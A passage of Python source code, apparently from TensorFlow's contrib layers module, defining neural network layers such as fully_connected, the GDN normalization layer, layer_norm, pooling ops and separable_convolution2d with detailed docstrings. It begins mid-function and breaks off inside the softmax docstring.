_sparse_inner_flatten(inputs, new_rank) else: inputs = ops.convert_to_tensor(inputs) flattened = _dense_inner_flatten(inputs, new_rank) return utils.collect_named_outputs(output_collections, sc, flattened) def _model_variable_getter(getter, name, shape=None, dtype=None, initializer=None, regularizer=None, trainable=True, collections=None, caching_device=None, partitioner=None, rename=None, use_resource=None, **_): """Getter that uses model_variable for compatibility with core layers.""" short_name = name.split('/')[-1] if rename and short_name in rename: name_components = name.split('/') name_components[-1] = rename[short_name] name = '/'.join(name_components) return variables.model_variable( name, shape=shape, dtype=dtype, initializer=initializer, regularizer=regularizer, collections=collections, trainable=trainable, caching_device=caching_device, partitioner=partitioner, custom_getter=getter, use_resource=use_resource) def _build_variable_getter(rename=None): """Build a model variable getter that respects scope getter and renames.""" # VariableScope will nest the getters def layer_variable_getter(getter, *args, **kwargs): kwargs['rename'] = rename return _model_variable_getter(getter, *args, **kwargs) return layer_variable_getter def _add_variable_to_collections(variable, collections_set, collections_name): """Adds variable (or all its parts) to all collections with that name.""" collections = utils.get_variable_collections( collections_set, collections_name) or [] variables_list = [variable] if isinstance(variable, tf_variables.PartitionedVariable): variables_list = [v for v in variable] for collection in collections: for var in variables_list: if var not in ops.get_collection(collection): ops.add_to_collection(collection, var) @add_arg_scope def fully_connected(inputs, num_outputs, activation_fn=nn.relu, normalizer_fn=None, normalizer_params=None, weights_initializer=initializers.xavier_initializer(), weights_regularizer=None, biases_initializer=init_ops.zeros_initializer(), biases_regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, scope=None): """Adds a fully connected layer. `fully_connected` creates a variable called `weights`, representing a fully connected weight matrix, which is multiplied by the `inputs` to produce a `Tensor` of hidden units. If a `normalizer_fn` is provided (such as `batch_norm`), it is then applied. Otherwise, if `normalizer_fn` is None and a `biases_initializer` is provided then a `biases` variable would be created and added the hidden units. Finally, if `activation_fn` is not `None`, it is applied to the hidden units as well. Note: that if `inputs` have a rank greater than 2, then `inputs` is flattened prior to the initial matrix multiply by `weights`. Args: inputs: A tensor of at least rank 2 and static value for the last dimension; i.e. `[batch_size, depth]`, `[None, None, None, channels]`. num_outputs: Integer or long, the number of output units in the layer. activation_fn: Activation function. The default value is a ReLU function. Explicitly set it to None to skip it and maintain a linear activation. normalizer_fn: Normalization function to use instead of `biases`. If `normalizer_fn` is provided then `biases_initializer` and `biases_regularizer` are ignored and `biases` are not created nor added. default set to None for no normalizer function normalizer_params: Normalization function parameters. weights_initializer: An initializer for the weights. weights_regularizer: Optional regularizer for the weights. biases_initializer: An initializer for the biases. If None skip biases. biases_regularizer: Optional regularizer for the biases. reuse: Whether or not the layer and its variables should be reused. To be able to reuse the layer scope must be given. variables_collections: Optional list of collections for all the variables or a dictionary containing a different list of collections per variable. outputs_collections: Collection to add the outputs. trainable: If `True` also add variables to the graph collection `GraphKeys.TRAINABLE_VARIABLES` (see tf.Variable). scope: Optional scope for variable_scope. Returns: The tensor variable representing the result of the series of operations. Raises: ValueError: If x has rank less than 2 or if its last dimension is not set. """ if not isinstance(num_outputs, six.integer_types): raise ValueError( 'num_outputs should be int or long, got %s.' % (num_outputs,)) layer_variable_getter = _build_variable_getter({'bias': 'biases', 'kernel': 'weights'}) with variable_scope.variable_scope( scope, 'fully_connected', [inputs], reuse=reuse, custom_getter=layer_variable_getter) as sc: inputs = ops.convert_to_tensor(inputs) layer = core_layers.Dense( units=num_outputs, activation=None, use_bias=not normalizer_fn and biases_initializer, kernel_initializer=weights_initializer, bias_initializer=biases_initializer, kernel_regularizer=weights_regularizer, bias_regularizer=biases_regularizer, activity_regularizer=None, trainable=trainable, name=sc.name, dtype=inputs.dtype.base_dtype, _scope=sc, _reuse=reuse) outputs = layer.apply(inputs) # Add variables to collections. _add_variable_to_collections(layer.kernel, variables_collections, 'weights') if layer.bias is not None: _add_variable_to_collections(layer.bias, variables_collections, 'biases') # Apply normalizer function / layer. if normalizer_fn is not None: if not normalizer_params: normalizer_params = {} outputs = normalizer_fn(outputs, **normalizer_params) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs( outputs_collections, sc.original_name_scope, outputs) class GDN(base.Layer): """Generalized divisive normalization layer. Based on the papers: "Density Modeling of Images using a Generalized Normalization Transformation" Johannes Ballé, Valero Laparra, Eero P. Simoncelli https://arxiv.org/abs/1511.06281 "End-to-end Optimized Image Compression" Johannes Ballé, Valero Laparra, Eero P. Simoncelli https://arxiv.org/abs/1611.01704 Implements an activation function that is essentially a multivariate generalization of a particular sigmoid-type function: ``` y[i] = x[i] / sqrt(beta[i] + sum_j(gamma[j, i] * x[j])) ``` where `i` and `j` run over channels. This implementation never sums across spatial dimensions. It is similar to local response normalization, but much more flexible, as `beta` and `gamma` are trainable parameters. Arguments: inverse: If `False` (default), compute GDN response. If `True`, compute IGDN response (one step of fixed point iteration to invert GDN; the division is replaced by multiplication). beta_min: Lower bound for beta, to prevent numerical error from causing square root of zero or negative values. gamma_init: The gamma matrix will be initialized as the identity matrix multiplied with this value. If set to zero, the layer is effectively initialized to the identity operation, since beta is initialized as one. A good default setting is somewhere between 0 and 0.5. reparam_offset: Offset added to the reparameterization of beta and gamma. The reparameterization of beta and gamma as their square roots lets the training slow down when their values are close to zero, which is desirable as small values in the denominator can lead to a situation where gradient noise on beta/gamma leads to extreme amounts of noise in the GDN activations. However, without the offset, we would get zero gradients if any elements of beta or gamma were exactly zero, and thus the training could get stuck. To prevent this, we add this small constant. The default value was empirically determined as a good starting point. Making it bigger potentially leads to more gradient noise on the activations, making it too small may lead to numerical precision issues. data_format: Format of input tensor. Currently supports `'channels_first'` and `'channels_last'`. activity_regularizer: Regularizer function for the output. trainable: Boolean, if `True`, also add variables to the graph collection `GraphKeys.TRAINABLE_VARIABLES` (see `tf.Variable`). name: String, the name of the layer. Layers with the same name will share weights, but to avoid mistakes we require `reuse=True` in such cases. Properties: inverse: Boolean, whether GDN is computed (`True`) or IGDN (`False`). data_format: Format of input tensor. Currently supports `'channels_first'` and `'channels_last'`. beta: The beta parameter as defined above (1D `Tensor`). gamma: The gamma parameter as defined above (2D `Tensor`). """ def __init__(self, inverse=False, beta_min=1e-6, gamma_init=.1, reparam_offset=2 ** -18, data_format='channels_last', activity_regularizer=None, trainable=True, name=None, **kwargs): super(GDN, self).__init__(trainable=trainable, name=name, **kwargs) self.inverse = inverse self._beta_min = beta_min self._gamma_init = gamma_init self._reparam_offset = reparam_offset self.data_format = data_format self.activity_regularizer = activity_regularizer self._channel_axis() # trigger ValueError early self.input_spec = base.InputSpec(min_ndim=3, max_ndim=5) def _channel_axis(self): try: return {'channels_first': 1, 'channels_last': -1}[self.data_format] except KeyError: raise ValueError('Unsupported `data_format` for GDN layer: {}.'.format( self.data_format)) @staticmethod def _lower_bound(inputs, bound, name=None): """Same as tf.maximum, but with helpful gradient for inputs < bound. The gradient is overwritten so that it is passed through if the input is not hitting the bound. If it is, only gradients that push `inputs` higher than the bound are passed through. No gradients are passed through to the bound. Args: inputs: input tensor bound: lower bound for the input tensor name: name for this op Returns: tf.maximum(inputs, bound) """ with ops.name_scope(name, 'GDNLowerBound', [inputs, bound]) as scope: inputs = ops.convert_to_tensor(inputs, name='inputs') bound = ops.convert_to_tensor(bound, name='bound') with ops.get_default_graph().gradient_override_map( {'Maximum': 'GDNLowerBound'}): return math_ops.maximum(inputs, bound, name=scope) @staticmethod def _lower_bound_grad(op, grad): """Gradient for `_lower_bound`. Args: op: the tensorflow op for which to calculate a gradient grad: gradient with respect to the output of the op Returns: gradients with respect to the inputs of the op """ inputs = op.inputs[0] bound = op.inputs[1] pass_through_if = math_ops.logical_or(inputs >= bound, grad < 0) return [math_ops.cast(pass_through_if, grad.dtype) * grad, None] def build(self, input_shape): channel_axis = self._channel_axis() input_shape = tensor_shape.TensorShape(input_shape) num_channels = input_shape[channel_axis].value if num_channels is None: raise ValueError('The channel dimension of the inputs to `GDN` ' 'must be defined.') self._input_rank = input_shape.ndims self.input_spec = base.InputSpec(ndim=input_shape.ndims, axes={channel_axis: num_channels}) pedestal = array_ops.constant(self._reparam_offset ** 2, dtype=self.dtype) beta_bound = array_ops.constant( (self._beta_min + self._reparam_offset ** 2) ** .5, dtype=self.dtype) gamma_bound = array_ops.constant(self._reparam_offset, dtype=self.dtype) def beta_initializer(shape, dtype=None, partition_info=None): del partition_info # unused return math_ops.sqrt(array_ops.ones(shape, dtype=dtype) + pedestal) def gamma_initializer(shape, dtype=None, partition_info=None): del partition_info # unused assert len(shape) == 2 assert shape[0] == shape[1] eye = linalg_ops.eye(shape[0], dtype=dtype) return math_ops.sqrt(self._gamma_init * eye + pedestal) beta = self.add_variable('reparam_beta', shape=[num_channels], initializer=beta_initializer, dtype=self.dtype, trainable=True) beta = self._lower_bound(beta, beta_bound) self.beta = math_ops.square(beta) - pedestal gamma = self.add_variable('reparam_gamma', shape=[num_channels, num_channels], initializer=gamma_initializer, dtype=self.dtype, trainable=True) gamma = self._lower_bound(gamma, gamma_bound) self.gamma = math_ops.square(gamma) - pedestal self.built = True def call(self, inputs): inputs = ops.convert_to_tensor(inputs, dtype=self.dtype) ndim = self._input_rank shape = self.gamma.get_shape().as_list() gamma = array_ops.reshape(self.gamma, (ndim - 2) * [1] + shape) # Compute normalization pool. if self.data_format == 'channels_first': norm_pool = nn.convolution(math_ops.square(inputs), gamma, 'VALID', data_format='NC' + 'DHW'[-(ndim - 2):]) if ndim == 3: norm_pool = array_ops.expand_dims(norm_pool, 2) norm_pool = nn.bias_add(norm_pool, self.beta, data_format='NCHW') norm_pool = array_ops.squeeze(norm_pool, [2]) elif ndim == 5: shape = array_ops.shape(norm_pool) norm_pool = array_ops.reshape(norm_pool, shape[:3] + [-1]) norm_pool = nn.bias_add(norm_pool, self.beta, data_format='NCHW') norm_pool = array_ops.reshape(norm_pool, shape) else: # ndim == 4 norm_pool = nn.bias_add(norm_pool, self.beta, data_format='NCHW') else: # channels_last norm_pool = nn.convolution(math_ops.square(inputs), gamma, 'VALID') norm_pool = nn.bias_add(norm_pool, self.beta, data_format='NHWC') norm_pool = math_ops.sqrt(norm_pool) if self.inverse: outputs = inputs * norm_pool else: outputs = inputs / norm_pool outputs.set_shape(inputs.get_shape()) return outputs def _compute_output_shape(self, input_shape): channel_axis = self._channel_axis() input_shape = tensor_shape.TensorShape(input_shape) if not 3 <= input_shape.ndim <= 5: raise ValueError('`input_shape` must be of rank 3 to 5, inclusive.') if input_shape[channel_axis].value is None: raise ValueError( 'The channel dimension of `input_shape` must be defined.') return input_shape ops.RegisterGradient('GDNLowerBound')(GDN._lower_bound_grad) # pylint:disable=protected-access def gdn(inputs, inverse=False, beta_min=1e-6, gamma_init=.1, reparam_offset=2 ** -18, data_format='channels_last', activity_regularizer=None, trainable=True, name=None, reuse=None): """Functional interface for GDN layer. Based on the papers: "Density Modeling of Images using a Generalized Normalization Transformation" Johannes Ballé, Valero Laparra, Eero P. Simoncelli https://arxiv.org/abs/1511.06281 "End-to-end Optimized Image Compression" Johannes Ballé, Valero Laparra, Eero P. Simoncelli https://arxiv.org/abs/1611.01704 Implements an activation function that is essentially a multivariate generalization of a particular sigmoid-type function: ``` y[i] = x[i] / sqrt(beta[i] + sum_j(gamma[j, i] * x[j])) ``` where `i` and `j` run over channels. This implementation never sums across spatial dimensions. It is similar to local response normalization, but much more flexible, as `beta` and `gamma` are trainable parameters. Args: inputs: Tensor input. inverse: If `False` (default), compute GDN response. If `True`, compute IGDN response (one step of fixed point iteration to invert GDN; the division is replaced by multiplication). beta_min: Lower bound for beta, to prevent numerical error from causing square root of zero or negative values. gamma_init: The gamma matrix will be initialized as the identity matrix multiplied with this value. If set to zero, the layer is effectively initialized to the identity operation, since beta is initialized as one. A good default setting is somewhere between 0 and 0.5. reparam_offset: Offset added to the reparameterization of beta and gamma. The reparameterization of beta and gamma as their square roots lets the training slow down when their values are close to zero, which is desirable as small values in the denominator can lead to a situation where gradient noise on beta/gamma leads to extreme amounts of noise in the GDN activations. However, without the offset, we would get zero gradients if any elements of beta or gamma were exactly zero, and thus the training could get stuck. To prevent this, we add this small constant. The default value was empirically determined as a good starting point. Making it bigger potentially leads to more gradient noise on the activations, making it too small may lead to numerical precision issues. data_format: Format of input tensor. Currently supports `'channels_first'` and `'channels_last'`. activity_regularizer: Regularizer function for the output. trainable: Boolean, if `True`, also add variables to the graph collection `GraphKeys.TRAINABLE_VARIABLES` (see `tf.Variable`). name: String, the name of the layer. Layers with the same name will share weights, but to avoid mistakes we require `reuse=True` in such cases. reuse: Boolean, whether to reuse the weights of a previous layer by the same name. Returns: Output tensor. """ layer = GDN(inverse=inverse, beta_min=beta_min, gamma_init=gamma_init, reparam_offset=reparam_offset, data_format=data_format, activity_regularizer=activity_regularizer, trainable=trainable, name=name, dtype=inputs.dtype.base_dtype, _scope=name, _reuse=reuse) return layer.apply(inputs) @add_arg_scope def layer_norm(inputs, center=True, scale=True, activation_fn=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, begin_norm_axis=1, begin_params_axis=-1, scope=None): """Adds a Layer Normalization layer. Based on the paper: "Layer Normalization" Jimmy Lei Ba, Jamie Ryan Kiros, Geoffrey E. Hinton https://arxiv.org/abs/1607.06450. Can be used as a normalizer function for conv2d and fully_connected. Given a tensor `inputs` of rank `R`, moments are calculated and normalization is performed over axes `begin_norm_axis ... R - 1`. Scaling and centering, if requested, is performed over axes `begin_shift_axis .. R - 1`. By default, `begin_norm_axis = 1` and `begin_params_axis = -1`, meaning that normalization is performed over all but the first axis (the `HWC` if `inputs` is `NHWC`), while the `beta` and `gamma` trainable parameters are calculated for the rightmost axis (the `C` if `inputs` is `NHWC`). Scaling and recentering is performed via broadcast of the `beta` and `gamma` parameters with the normalized tensor. The shapes of `beta` and `gamma` are `inputs.shape[begin_params_axis:]`, and this part of the inputs' shape must be fully defined. Args: inputs: A tensor having rank `R`. The normalization is performed over axes `begin_norm_axis ... R - 1` and centering and scaling parameters are calculated over `begin_params_axis ... R - 1`. center: If True, add offset of `beta` to normalized tensor. If False, `beta` is ignored. scale: If True, multiply by `gamma`. If False, `gamma` is not used. When the next layer is linear (also e.g. `nn.relu`), this can be disabled since the scaling can be done by the next layer. activation_fn: Activation function, default set to None to skip it and maintain a linear activation. reuse: Whether or not the layer and its variables should be reused. To be able to reuse the layer scope must be given. variables_collections: Optional collections for the variables. outputs_collections: Collections to add the outputs. trainable: If `True` also add variables to the graph collection `GraphKeys.TRAINABLE_VARIABLES` (see tf.Variable). begin_norm_axis: The first normalization dimension: normalization will be performed along dimensions `begin_norm_axis : rank(inputs)` begin_params_axis: The first parameter (beta, gamma) dimension: scale and centering parameters will have dimensions `begin_params_axis : rank(inputs)` and will be broadcast with the normalized inputs accordingly. scope: Optional scope for `variable_scope`. Returns: A `Tensor` representing the output of the operation, having the same shape and dtype as `inputs`. Raises: ValueError: If the rank of `inputs` is not known at graph build time, or if `inputs.shape[begin_params_axis:]` is not fully defined at graph build time. """ with variable_scope.variable_scope(scope, 'LayerNorm', [inputs], reuse=reuse) as sc: inputs = ops.convert_to_tensor(inputs) inputs_shape = inputs.shape inputs_rank = inputs_shape.ndims if inputs_rank is None: raise ValueError('Inputs %s has undefined rank.' % inputs.name) dtype = inputs.dtype.base_dtype if begin_norm_axis < 0: begin_norm_axis = inputs_rank + begin_norm_axis if begin_params_axis >= inputs_rank or begin_norm_axis >= inputs_rank: raise ValueError( 'begin_params_axis (%d) and begin_norm_axis (%d) ' 'must be < rank(inputs) (%d)' % (begin_params_axis, begin_norm_axis, inputs_rank)) params_shape = inputs_shape[begin_params_axis:] if not params_shape.is_fully_defined(): raise ValueError( 'Inputs %s: shape(inputs)[%s:] is not fully defined: %s' % ( inputs.name, begin_params_axis, inputs_shape)) # Allocate parameters for the beta and gamma of the normalization. beta, gamma = None, None if center: beta_collections = utils.get_variable_collections(variables_collections, 'beta') beta = variables.model_variable( 'beta', shape=params_shape, dtype=dtype, initializer=init_ops.zeros_initializer(), collections=beta_collections, trainable=trainable) if scale: gamma_collections = utils.get_variable_collections(variables_collections, 'gamma') gamma = variables.model_variable( 'gamma', shape=params_shape, dtype=dtype, initializer=init_ops.ones_initializer(), collections=gamma_collections, trainable=trainable) # Calculate the moments on the last axis (layer activations). norm_axes = list(range(begin_norm_axis, inputs_rank)) mean, variance = nn.moments(inputs, norm_axes, keep_dims=True) # Compute layer normalization using the batch_normalization function. variance_epsilon = 1e-12 outputs = nn.batch_normalization( inputs, mean, variance, offset=beta, scale=gamma, variance_epsilon=variance_epsilon) outputs.set_shape(inputs_shape) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def max_pool2d(inputs, kernel_size, stride=2, padding='VALID', data_format=DATA_FORMAT_NHWC, outputs_collections=None, scope=None): """Adds a 2D Max Pooling op. It is assumed that the pooling is done per image but not in batch or channels. Args: inputs: A 4-D tensor of shape `[batch_size, height, width, channels]` if `data_format` is `NHWC`, and `[batch_size, channels, height, width]` if `data_format` is `NCHW`. kernel_size: A list of length 2: [kernel_height, kernel_width] of the pooling kernel over which the op is computed. Can be an int if both values are the same. stride: A list of length 2: [stride_height, stride_width]. Can be an int if both strides are the same. Note that presently both strides must have the same value. padding: The padding method, either 'VALID' or 'SAME'. data_format: A string. `NHWC` (default) and `NCHW` are supported. outputs_collections: The collections to which the outputs are added. scope: Optional scope for name_scope. Returns: A `Tensor` representing the results of the pooling operation. Raises: ValueError: If `data_format` is neither `NHWC` nor `NCHW`. ValueError: If 'kernel_size' is not a 2-D list """ if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') with ops.name_scope(scope, 'MaxPool2D', [inputs]) as sc: inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = pooling_layers.MaxPooling2D(pool_size=kernel_size, strides=stride, padding=padding, data_format=df, _scope=sc) outputs = layer.apply(inputs) return utils.collect_named_outputs(outputs_collections, sc, outputs) @add_arg_scope def max_pool3d(inputs, kernel_size, stride=2, padding='VALID', data_format=DATA_FORMAT_NDHWC, outputs_collections=None, scope=None): """Adds a 3D Max Pooling op. It is assumed that the pooling is done per image but not in batch or channels. Args: inputs: A 5-D tensor of shape `[batch_size, depth, height, width, channels]` if `data_format` is `NDHWC`, and `[batch_size, channels, depth, height, width]` if `data_format` is `NCDHW`. kernel_size: A list of length 3: [kernel_depth, kernel_height, kernel_width] of the pooling kernel over which the op is computed. Can be an int if both values are the same. stride: A list of length 3: [stride_depth, stride_height, stride_width]. Can be an int if both strides are the same. Note that presently both strides must have the same value. padding: The padding method, either 'VALID' or 'SAME'. data_format: A string. `NDHWC` (default) and `NCDHW` are supported. outputs_collections: The collections to which the outputs are added. scope: Optional scope for name_scope. Returns: A `Tensor` representing the results of the pooling operation. Raises: ValueError: If `data_format` is neither `NDHWC` nor `NCDHW`. ValueError: If 'kernel_size' is not a 3-D list """ if data_format not in (DATA_FORMAT_NCDHW, DATA_FORMAT_NDHWC): raise ValueError('data_format has to be either NCDHW or NDHWC.') with ops.name_scope(scope, 'MaxPool3D', [inputs]) as sc: inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = pooling_layers.MaxPooling3D(pool_size=kernel_size, strides=stride, padding=padding, data_format=df, _scope=sc) outputs = layer.apply(inputs) return utils.collect_named_outputs(outputs_collections, sc, outputs) @add_arg_scope def pool(inputs, kernel_size, pooling_type, padding='VALID', data_format=None, dilation_rate=1, stride=1, outputs_collections=None, scope=None): # pylint: disable=line-too-long """Adds a pooling op. Args: inputs: Tensor of rank N+2, of shape `[batch_size] + input_spatial_shape + [num_channels]` if data_format does not start with "NC" (default), or `[batch_size, num_channels] + input_spatial_shape` if data_format starts with "NC". Pooling happens over the spatial dimensions only. kernel_size: Sequence of N ints >= 1. Can also be a single integer to specify the same value for all spatial dimensions. pooling_type: Specifies pooling operation, must be "AVG" or "MAX". padding: The padding algorithm, must be "SAME" or "VALID". data_format: A string or None. Specifies whether the channel dimension of the `input` and output is the last dimension (default, or if `data_format` does not start with "NC"), or the second dimension (if `data_format` starts with "NC"). For N=1, the valid values are "NWC" (default) and "NCW". For N=2, the valid values are "NHWC" (default) and "NCHW". For N=3, the valid values are "NDHWC" (default) and "NCDHW". dilation_rate: Optional. Dilation rate. Sequence of N ints >= 1. Defaults to [1]*N. Can also be a single integer to specify the same value for all spatial dimensions. If any value of dilation_rate is > 1, then all values of stride must be 1. stride: Optional. Sequence of N ints >= 1. Defaults to [1]*N. Can also be a single integer to specify the same value for all spatial dimensions. If any value of stride is > 1, then all values of dilation_rate must be 1. outputs_collections: The collections to which the outputs are added. scope: Optional scope for name_scope. Returns: A `Tensor` representing the results of the pooling operation. Raises: ValueError: If arguments are invalid. """ # pylint: enable=line-too-long with ops.name_scope(scope, '%s_pool' % (pooling_type.lower()), [inputs]) as sc: inputs = ops.convert_to_tensor(inputs) input_rank = inputs.get_shape().ndims if input_rank is None: raise ValueError('Rank of inputs must be known') if input_rank < 3: raise ValueError('Rank of inputs must be >= 3') num_spatial_dims = input_rank - 2 output = nn.pool( input=inputs, window_shape=utils.n_positive_integers(num_spatial_dims, kernel_size), pooling_type=pooling_type, padding=padding, data_format=data_format, dilation_rate=utils.n_positive_integers(num_spatial_dims, dilation_rate), strides=utils.n_positive_integers(num_spatial_dims, stride), name=sc) return utils.collect_named_outputs(outputs_collections, sc, output) @add_arg_scope def one_hot_encoding(labels, num_classes, on_value=1.0, off_value=0.0, outputs_collections=None, scope=None): """Transform numeric labels into onehot_labels using `tf.one_hot`. Args: labels: [batch_size] target labels. num_classes: Total number of classes. on_value: A scalar defining the on-value. off_value: A scalar defining the off-value. outputs_collections: Collection to add the outputs. scope: Optional scope for name_scope. Returns: One-hot encoding of the labels. """ with ops.name_scope(scope, 'OneHotEncoding', [labels, num_classes]) as sc: labels = ops.convert_to_tensor(labels) if labels.dtype == dtypes.int32: labels = standard_ops.to_int64(labels) outputs = standard_ops.one_hot(labels, num_classes, on_value=on_value, off_value=off_value) return utils.collect_named_outputs(outputs_collections, sc, outputs) def _apply_activation(y, activation_fn, output_collections): if activation_fn is not None: y = activation_fn(y) ops.add_to_collections(list(output_collections or []) + [ops.GraphKeys.ACTIVATIONS], y) return y def repeat(inputs, repetitions, layer, *args, **kwargs): """Applies the same layer with the same arguments repeatedly. ```python y = repeat(x, 3, conv2d, 64, [3, 3], scope='conv1') # It is equivalent to: x = conv2d(x, 64, [3, 3], scope='conv1/conv1_1') x = conv2d(x, 64, [3, 3], scope='conv1/conv1_2') y = conv2d(x, 64, [3, 3], scope='conv1/conv1_3') ``` If the `scope` argument is not given in `kwargs`, it is set to `layer.__name__`, or `layer.func.__name__` (for `functools.partial` objects). If neither `__name__` nor `func.__name__` is available, the layers are called with `scope='stack'`. Args: inputs: A `Tensor` suitable for layer. repetitions: Int, number of repetitions. layer: A layer with arguments `(inputs, *args, **kwargs)` *args: Extra args for the layer. **kwargs: Extra kwargs for the layer. Returns: A tensor result of applying the layer, repetitions times. Raises: ValueError: If the op is unknown or wrong. """ scope = kwargs.pop('scope', None) with variable_scope.variable_scope(scope, 'Repeat', [inputs]): inputs = ops.convert_to_tensor(inputs) if scope is None: if hasattr(layer, '__name__'): scope = layer.__name__ elif hasattr(layer, 'func') and hasattr(layer.func, '__name__'): scope = layer.func.__name__ # In case layer is a functools.partial. else: scope = 'repeat' outputs = inputs for i in range(repetitions): kwargs['scope'] = scope + '_' + str(i+1) outputs = layer(outputs, *args, **kwargs) return outputs def _scale_gradient_shape(op): """Shape helper function for scale_gradient function below.""" return [op.inputs[0].shape] def _scale_gradient_grad(op, grad): """Python gradient helper function for scale_gradient function below.""" return [grad * op.inputs[1], None] @function.Defun(python_grad_func=_scale_gradient_grad, shape_func=_scale_gradient_shape) def scale_gradient(inputs, gradient_multiplier): """Identity operation, but with the gradient multiplied by a tensor. The TensorFlow gradient system will compute the gradient with respect to `inputs` as the product of the gradient with respect to the `output` multiplied by a specified `gradient_multiplier` tensor. If `gradient_multiplier` is equal to 1, then this results in the true gradient. Otherwise, it results in a scaled gradient. This can be useful for adjusting the relative learning rate of different parameter tensors when performing gradient descent, and because this rescaling can be inserted at arbitrary locations within a graph, is often more convenient to apply than simply rescaling the final computed gradients. Args: inputs: Tensor to be output. gradient_multiplier: Tensor by which to multiply the gradient with respect to `output` to compute the gradient with respect to `inputs`. Its shape must be broadcastable to the shape of `inputs`. Returns: output Tensor, equal to `inputs`. """ # gradient_multiplier is implicitly saved by decorator, and only used for # gradient computation. del gradient_multiplier return inputs @add_arg_scope def separable_convolution2d( inputs, num_outputs, kernel_size, depth_multiplier, stride=1, padding='SAME', data_format=DATA_FORMAT_NHWC, rate=1, activation_fn=nn.relu, normalizer_fn=None, normalizer_params=None, weights_initializer=initializers.xavier_initializer(), weights_regularizer=None, biases_initializer=init_ops.zeros_initializer(), biases_regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, scope=None): """Adds a depth-separable 2D convolution with optional batch_norm layer. This op first performs a depthwise convolution that acts separately on channels, creating a variable called `depthwise_weights`. If `num_outputs` is not None, it adds a pointwise convolution that mixes channels, creating a variable called `pointwise_weights`. Then, if `normalizer_fn` is None, it adds bias to the result, creating a variable called 'biases', otherwise, the `normalizer_fn` is applied. It finally applies an activation function to produce the end result. Args: inputs: A tensor of size [batch_size, height, width, channels]. num_outputs: The number of pointwise convolution output filters. If is None, then we skip the pointwise convolution stage. kernel_size: A list of length 2: [kernel_height, kernel_width] of of the filters. Can be an int if both values are the same. depth_multiplier: The number of depthwise convolution output channels for each input channel. The total number of depthwise convolution output channels will be equal to `num_filters_in * depth_multiplier`. stride: A list of length 2: [stride_height, stride_width], specifying the depthwise convolution stride. Can be an int if both strides are the same. padding: One of 'VALID' or 'SAME'. data_format: A string. `NHWC` (default) and `NCHW` are supported. rate: A list of length 2: [rate_height, rate_width], specifying the dilation rates for atrous convolution. Can be an int if both rates are the same. If any value is larger than one, then both stride values need to be one. activation_fn: Activation function. The default value is a ReLU function. Explicitly set it to None to skip it and maintain a linear activation. normalizer_fn: Normalization function to use instead of `biases`. If `normalizer_fn` is provided then `biases_initializer` and `biases_regularizer` are ignored and `biases` are not created nor added. default set to None for no normalizer function normalizer_params: Normalization function parameters. weights_initializer: An initializer for the weights. weights_regularizer: Optional regularizer for the weights. biases_initializer: An initializer for the biases. If None skip biases. biases_regularizer: Optional regularizer for the biases. reuse: Whether or not the layer and its variables should be reused. To be able to reuse the layer scope must be given. variables_collections: Optional list of collections for all the variables or a dictionary containing a different list of collection per variable. outputs_collections: Collection to add the outputs. trainable: Whether or not the variables should be trainable or not. scope: Optional scope for variable_scope. Returns: A `Tensor` representing the output of the operation. Raises: ValueError: If `data_format` is invalid. """ if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') layer_variable_getter = _build_variable_getter( {'bias': 'biases', 'depthwise_kernel': 'depthwise_weights', 'pointwise_kernel': 'pointwise_weights'}) with variable_scope.variable_scope( scope, 'SeparableConv2d', [inputs], reuse=reuse, custom_getter=layer_variable_getter) as sc: inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') if num_outputs is not None: # Apply separable conv using the SeparableConvolution2D layer. layer = convolutional_layers.SeparableConvolution2D( filters=num_outputs, kernel_size=kernel_size, strides=stride, padding=padding, data_format=df, dilation_rate=utils.two_element_tuple(rate), activation=None, depth_multiplier=depth_multiplier, use_bias=not normalizer_fn and biases_initializer, depthwise_initializer=weights_initializer, pointwise_initializer=weights_initializer, bias_initializer=biases_initializer, depthwise_regularizer=weights_regularizer, pointwise_regularizer=weights_regularizer, bias_regularizer=biases_regularizer, activity_regularizer=None, trainable=trainable, name=sc.name, dtype=inputs.dtype.base_dtype, _scope=sc, _reuse=reuse) outputs = layer.apply(inputs) # Add variables to collections. _add_variable_to_collections(layer.depthwise_kernel, variables_collections, 'weights') _add_variable_to_collections(layer.pointwise_kernel, variables_collections, 'weights') if layer.bias: _add_variable_to_collections(layer.bias, variables_collections, 'biases') if normalizer_fn is not None: normalizer_params = normalizer_params or {} outputs = normalizer_fn(outputs, **normalizer_params) else: # Actually apply depthwise conv instead of separable conv. dtype = inputs.dtype.base_dtype kernel_h, kernel_w = utils.two_element_tuple(kernel_size) stride_h, stride_w = utils.two_element_tuple(stride) num_filters_in = utils.channel_dimension( inputs.get_shape(), df, min_rank=4) weights_collections = utils.get_variable_collections( variables_collections, 'weights') depthwise_shape = [kernel_h, kernel_w, num_filters_in, depth_multiplier] depthwise_weights = variables.model_variable( 'depthwise_weights', shape=depthwise_shape, dtype=dtype, initializer=weights_initializer, regularizer=weights_regularizer, trainable=trainable, collections=weights_collections) strides = [1, stride_h, stride_w, 1] outputs = nn.depthwise_conv2d(inputs, depthwise_weights, strides, padding, rate=utils.two_element_tuple(rate), data_format=data_format) num_outputs = depth_multiplier * num_filters_in if normalizer_fn is not None: normalizer_params = normalizer_params or {} outputs = normalizer_fn(outputs, **normalizer_params) else: if biases_initializer is not None: biases_collections = utils.get_variable_collections( variables_collections, 'biases') biases = variables.model_variable('biases', shape=[num_outputs,], dtype=dtype, initializer=biases_initializer, regularizer=biases_regularizer, trainable=trainable, collections=biases_collections) outputs = nn.bias_add(outputs, biases, data_format=data_format) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def softmax(logits, scope=None): """Performs softmax on Nth dimension of N-dimensional logit tensor. For two-dimensional logits this reduces to 